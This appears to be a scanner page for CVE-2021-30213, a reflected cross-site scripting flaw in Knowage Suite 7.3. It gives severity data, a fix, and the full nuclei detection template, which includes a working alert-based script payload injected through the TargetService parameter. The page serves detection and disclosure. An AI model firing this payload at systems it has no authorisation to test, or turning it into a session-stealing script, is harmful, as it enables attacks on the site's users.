Knowage Suite 7.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

Knowage Suite 7.3 contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Knowage Suite 7.3.

How to confirm it

Send: GET {{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscri…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-30213 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-30213

info:
  name: Knowage Suite 7.3 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: Knowage Suite 7.3 contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Knowage Suite 7.3.
  reference:
    - https://github.com/piuppi/Proof-of-Concepts/blob/main/Engineering/XSS-KnowageSuite7-3_unauth.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30213
    - https://github.com/piuppi/Proof-of-Concepts
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30213
    cwe-id: CWE-79
    epss-score: 0.02721
    epss-percentile: 0.86158
    cpe: cpe:2.3:a:eng:knowage:7.3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eng
    product: knowage
  tags: cve2021,cve,xss,knowage,eng,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from